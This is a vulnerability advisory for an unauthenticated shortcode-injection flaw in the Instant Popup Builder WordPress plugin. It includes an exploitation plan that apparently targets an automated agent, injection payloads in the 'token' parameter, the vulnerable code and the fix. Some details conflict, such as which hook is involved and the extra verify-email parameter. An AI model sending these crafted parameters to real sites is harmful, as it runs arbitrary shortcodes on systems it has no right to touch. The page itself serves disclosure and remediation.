Instant Popup Builder <= 1.1.7 - Unauthenticated Arbitrary Shortcode Execution via 'token' Parameter
Description
The Instant Popup Builder plugin for WordPress is vulnerable to Unauthenticated Arbitrary Shortcode Execution in all versions up to and including 1.1.7. This is due to the handle_email_verification_page() function constructing a shortcode string from user-supplied GET parameters (token, email) and passing it to do_shortcode() without properly sanitizing square bracket characters, combined with missing authorization checks on the init hook. While sanitize_text_field() and esc_attr() are applied, neither function strips or escapes square bracket characters ([ and ]). WordPress's shortcode regex uses [^\]\/]* to match content inside shortcode tags, meaning a ] character in the token value prematurely closes the shortcode tag. This makes it possible for unauthenticated attackers to inject and execute arbitrary registered shortcodes by crafting a malicious token parameter containing ] followed by arbitrary shortcode syntax.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=1.1.7What Changed in the Fix
Changes introduced in v1.1.8
Source Code
WordPress.org SVNThis plan outlines the research and exploitation strategy for **CVE-2026-3475**, a vulnerability in the Instant Popup Builder plugin allowing unauthenticated users to execute arbitrary shortcodes. --- ### 1. Vulnerability Summary The vulnerability exists in the `Instant_Popup_Subscription_Public::…
Show full research plan
This plan outlines the research and exploitation strategy for CVE-2026-3475, a vulnerability in the Instant Popup Builder plugin allowing unauthenticated users to execute arbitrary shortcodes.
1. Vulnerability Summary
The vulnerability exists in the Instant_Popup_Subscription_Public::handle_email_verification_page() function, which is hooked to WordPress's init action. This function takes user-supplied input from the token and email GET parameters to dynamically build a shortcode string.
The constructed string follows a pattern similar to: [ipb_verify_email token="VALUE_FROM_TOKEN" email="VALUE_FROM_EMAIL"]. This string is then passed to do_shortcode().
Because sanitize_text_field() and esc_attr() are used but neither strips the ] character, an attacker can break out of the intended shortcode's attributes and inject a new shortcode. The WordPress shortcode parser stops matching an attribute value when it encounters the first ] character.
2. Attack Vector Analysis
- Endpoint: Any frontend URL (e.g.,
/or/index.php). - Hook:
init(registered inpublic/class-instant-popup-subscription-public.php). - Vulnerable Function:
handle_email_verification_page(). - Payload Parameters:
tokenandemail. - Authentication: None (Unauthenticated).
- Preconditions: The plugin must be active and the "Subscription" functionality initialized (default in most installs).
3. Code Flow
- Request Entry: A GET request is sent to the WordPress site.
- Hook Trigger: The
inithook fires, callingInstant_Popup_Subscription_Public::handle_email_verification_page(). - Parameter Check: The function checks if
tokenandemailare present in$_GET. - Shortcode Construction:
// Logical reconstruction based on vulnerability description $token = sanitize_text_field($_GET['token']); $email = sanitize_text_field($_GET['email']); $shortcode = '[ipb_verify_email token="' . $token . '" email="' . $email . '"]'; - Injection point: If
tokenis123"][gallery][", the string becomes:[ipb_verify_email token="123"][gallery][" email="..."] - Execution Sink:
echo do_shortcode($shortcode);
WordPress parses this as two shortcodes:[ipb_verify_email token="123"]followed by[gallery].
4. Nonce Acquisition Strategy
Based on the vulnerability description and the nature of "Email Verification" pages, this specific endpoint does not require a nonce. Verification links are typically sent via external emails and must work for users who are not currently in an active session on the site.
However, if an unexpected check exists, the following strategy will be used:
- Identify Script Variable: The plugin localizes script data under the key
instnat_ajax_subscriber(verbatim frompublic/class-instant-popup-subscription-public.php). - Create Trigger Page: Create a page with the subscription shortcode to ensure the plugin's public JS is loaded.
wp post create --post_type=page --post_status=publish --post_content='[ipb_subscription]' - Browser Extraction:
Navigate to the created page and run:browser_eval("window.instnat_ajax_subscriber?.verification_nonce")
5. Exploitation Strategy
We will use a standard WordPress shortcode that produces visible output to prove execution.
Step 1: Test Connectivity
Send a basic request to ensure the handle_email_verification_page logic triggers.
- URL:
/?token=test&email=test@example.com - Tool:
http_request
Step 2: Inject Shortcode
Craft a payload that closes the token attribute and injects a [wp_version] or [gallery] shortcode.
- Payload:
token=pwned"][gallery][&email=attacker@example.com - Encoded Payload:
token=pwned%22%5D%5Bgallery%5D%5B&email=attacker%40example.com
Step 3: Execute via http_request
{
"method": "GET",
"url": "http://localhost:8080/?token=pwned%22%5D%5Bgallery%5D%5B&email=attacker%40example.com"
}
6. Test Data Setup
- Install Plugin: Ensure
instant-popup-builderversion 1.1.7 is active. - No Auth Required: Ensure the test is performed in an unauthenticated session (clear cookies/use fresh browser context).
- Verify Registered Shortcodes: Use
wp eval "global \$shortcode_tags; print_r(array_keys(\$shortcode_tags));"to confirmipb_verify_emailandgalleryare registered.
7. Expected Results
- Success: The HTTP response body contains the HTML output of the injected shortcode (e.g., a gallery container
<div id='gallery-1' ...>or the WordPress version number). - Execution Evidence: The original
ipb_verify_emailshortcode might fail silently or print a "verification failed" message, but the appended shortcode output will be present in the HTML.
8. Verification Steps
- Log Check: Observe the site's HTML output for the presence of the injected shortcode's footprint.
- WP-CLI Version Check:
wp plugin get instant-popup-builder --field=version(Ensure it is 1.1.7). - Manual Trace: Confirm that sending the malicious
tokenresults in the server returning content that is not part of the standard verification form.
9. Alternative Approaches
If [gallery] is disabled or filtered:
- Try Plugin Shortcodes: Use
[ipb_subscription]to see if the subscription popup HTML is rendered into the page response. - Try
[audio]or[video]: These are standard and usually produce distinct HTML elements. - Attribute Break-out Variations:
token=1' ][gallery][(using single quotes if the plugin uses single quotes in the backend).token=1] [gallery] [(if the plugin doesn't wrap values in quotes at all).
Summary
The Instant Popup Builder plugin for WordPress is vulnerable to unauthenticated arbitrary shortcode execution. This occurs because the plugin dynamically constructs shortcode strings from user-supplied GET parameters (token, email, campaign) and passes them to do_shortcode() without removing square bracket characters, allowing attackers to 'break out' of the intended shortcode and execute any registered shortcode on the site.
Vulnerable Code
// public/class-instant-popup-subscription-public.php L1263 // Add content filter to show unsubscribe form add_filter('the_content', function($content) { // Always show unsubscribe form for unsubscribe requests // Check for encrypted email parameter // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- GET parameters used for display purposes only, values are sanitized $encrypted_email = isset($_GET['email']) ? sanitize_text_field(wp_unslash($_GET['email'])) : ''; // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- GET parameters used for display purposes only, values are sanitized $campaign_id = isset($_GET['campaign']) ? sanitize_text_field(wp_unslash($_GET['campaign'])) : ''; $shortcode = '[ipb_unsubscribe'; if (!empty($encrypted_email)) { $shortcode .= ' email="' . esc_attr($encrypted_email) . '"'; } if (!empty($campaign_id)) { $shortcode .= ' campaign="' . esc_attr($campaign_id) . '"'; } $shortcode .= ']'; return do_shortcode( (string) ( $shortcode ?? '' ) ); }); --- // public/class-instant-popup-subscription-public.php L1755 // Add content filter to show verification form add_filter('the_content', function($content) { if (is_page() || is_single()) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- GET parameters used for display purposes only, values are sanitized $email = isset($_GET['email']) ? sanitize_email(wp_unslash($_GET['email'])) : ''; // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- GET parameters used for display purposes only, values are sanitized $token = isset($_GET['token']) ? sanitize_text_field(wp_unslash($_GET['token'])) : ''; $shortcode = '[ipb_verify_email'; if (!empty($email)) { $shortcode .= ' email="' . esc_attr($email) . '"'; } if (!empty($token)) { $shortcode .= ' token="' . esc_attr($token) . '"'; } $shortcode .= ']'; return do_shortcode( (string) ( $shortcode ?? '' ) ); } return $content; });
Security Fix
@@ -1263,23 +1270,11 @@ // Add content filter to show unsubscribe form add_filter('the_content', function($content) { // Always show unsubscribe form for unsubscribe requests - // Check for encrypted email parameter - // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- GET parameters used for display purposes only, values are sanitized - $encrypted_email = isset($_GET['email']) ? sanitize_text_field(wp_unslash($_GET['email'])) : ''; - // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- GET parameters used for display purposes only, values are sanitized - $campaign_id = isset($_GET['campaign']) ? sanitize_text_field(wp_unslash($_GET['campaign'])) : ''; - - $shortcode = '[ipb_unsubscribe'; - if (!empty($encrypted_email)) { - $shortcode .= ' email="' . esc_attr($encrypted_email) . '"'; - } - if (!empty($campaign_id)) { - $shortcode .= ' campaign="' . esc_attr($campaign_id) . '"'; - } - $shortcode .= ']'; + $request_args = $this->get_sanitized_unsubscribe_request_params(); - return do_shortcode( (string) ( $shortcode ?? '' ) ); - }); + // Security: never pass request-derived data through do_shortcode(). + return $this->render_unsubscribe_form_from_request($request_args); + }); // Also add a template redirect for direct URL access add_action('template_redirect', function() { @@ -1755,24 +1740,139 @@ // Add content filter to show verification form add_filter('the_content', function($content) { if (is_page() || is_single()) { - // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- GET parameters used for display purposes only, values are sanitized - $email = isset($_GET['email']) ? sanitize_email(wp_unslash($_GET['email'])) : ''; - // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- GET parameters used for display purposes only, values are sanitized - $token = isset($_GET['token']) ? sanitize_text_field(wp_unslash($_GET['token'])) : ''; - - $shortcode = '[ipb_verify_email'; - if (!empty($email)) { - $shortcode .= ' email="' . esc_attr($email) . '"'; - } - if (!empty($token)) { - $shortcode .= ' token="' . esc_attr($token) . '"'; + $request_args = $this->get_sanitized_verification_request_params(); + + // Security: never build shortcode strings from request-derived values. + return $this->render_verification_form_from_request($request_args); } - $shortcode .= ']'; - - return do_shortcode( (string) ( $shortcode ?? '' ) ); + return $content; }); } } + + /** + * Build a safe array of verification request params. + * + * @return array{email: string, token: string} + */ + private function get_sanitized_verification_request_params() + { + // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- GET parameters used for display purposes only, values are sanitized + $email = isset($_GET['email']) ? sanitize_email(wp_unslash($_GET['email'])) : ''; + // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- GET parameters used for display purposes only, values are sanitized + $token = isset($_GET['token']) ? sanitize_text_field(wp_unslash($_GET['token'])) : ''; + + $email = str_replace(['[', ']'], '', $email); + $token = str_replace(['[', ']'], '', $token); + + if ($token !== '' && !preg_match('/^[A-Za-z0-9\-_]{10,200}$/', $token)) { + $token = ''; + } + + return [ + 'email' => $email, + 'token' => $token, + ]; + }
Exploit Outline
The exploit targets unauthenticated endpoints that handle email verification or unsubscription. An attacker sends a GET request to any public WordPress page (e.g., the homepage) with the parameter `verify-email=true`. By crafting the `token` parameter to contain shortcode closure and injection syntax (e.g., `token=xyz"][gallery]["`), the attacker forces the plugin's `handle_email_verification_page` function to construct a string like `[ipb_verify_email email="..." token="xyz"][gallery][" "]`. When this string is passed to `do_shortcode()`, the WordPress shortcode parser executes the injected `[gallery]` shortcode (or any other shortcode) and renders its output into the page content. No authentication or nonces are required.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.